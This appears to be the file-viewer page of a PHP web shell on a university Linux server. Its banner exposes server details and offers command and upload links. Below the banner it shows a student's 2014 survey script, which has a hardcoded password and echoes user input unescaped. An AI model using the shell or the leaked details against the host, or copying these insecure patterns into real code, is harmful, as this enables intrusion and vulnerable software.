Server IP : 172.16.15.8 / Your IP : 18.191.9.9 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/thchang/cs480/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); // Title: assignment3a3.php // Author: Tyler Chang // Due: 2/17/2014 // Instructor: Dr. Wang // Goal: Secure page, conduct survey // collect from last page $pass = $_SESSION['psw']; $first = $_POST['firstname']; $last = $_POST['lastname']; $gender = $_POST['gen']; $grade = $_POST['gra']; $course = $_POST['course']; // pass to next page $_SESSION['psw'] = $pass; $_SESSION['firstname'] = $first; $_SESSION['lastname'] = $last; $_SESSION['gen'] = $gender; $_SESSION['gra'] = $grade; $_SESSION['course'] = $course; // check password if($pass != "ch7hw") print "Incorrect Password. Try again."; else { print "<CENTER>Hello $first<BR>"; ?> Please complete the survey below and click Submit. </CENTER> <p> <FORM action=assignment3a4.php method=post> Did you enjoy this class?<BR> Strongly Agree<INPUT type=radio name=q1 value=s> Agree<INPUT type=radio name=q1 value=a> Disagree<INPUT type=radio name=q1 value=d> <BR>Comments:<INPUT type=text name=q1comments> <p> Did you benefit from this class?<BR> Strongly Agree<INPUT type=radio name=q2 value=s> Agree<INPUT type=radio name=q2 value=a> Disagree<INPUT type=radio name=q2 value=d> <BR>Comments:<INPUT type=text name=q2comments> <p> Did you feel this teacher was effective?<BR> Strongly Agree<INPUT type=radio name=q3 value=s> Agree<INPUT type=radio name=q3 value=a> Disagree<INPUT type=radio name=q3 value=d> <BR>Comments:<INPUT type=text name=q3comments> <p> Would you recommend this class to a friend?<BR> Strongly Agree<INPUT type=radio name=q4 value=s> Agree<INPUT type=radio name=q4 value=a> Disagree<INPUT type=radio name=q4 value=d> <BR>Comments:<INPUT type=text name=q4comments> <p> <INPUT type=submit value=Submit> <INPUT type=reset value=Reset> </FORM> <?php } ?>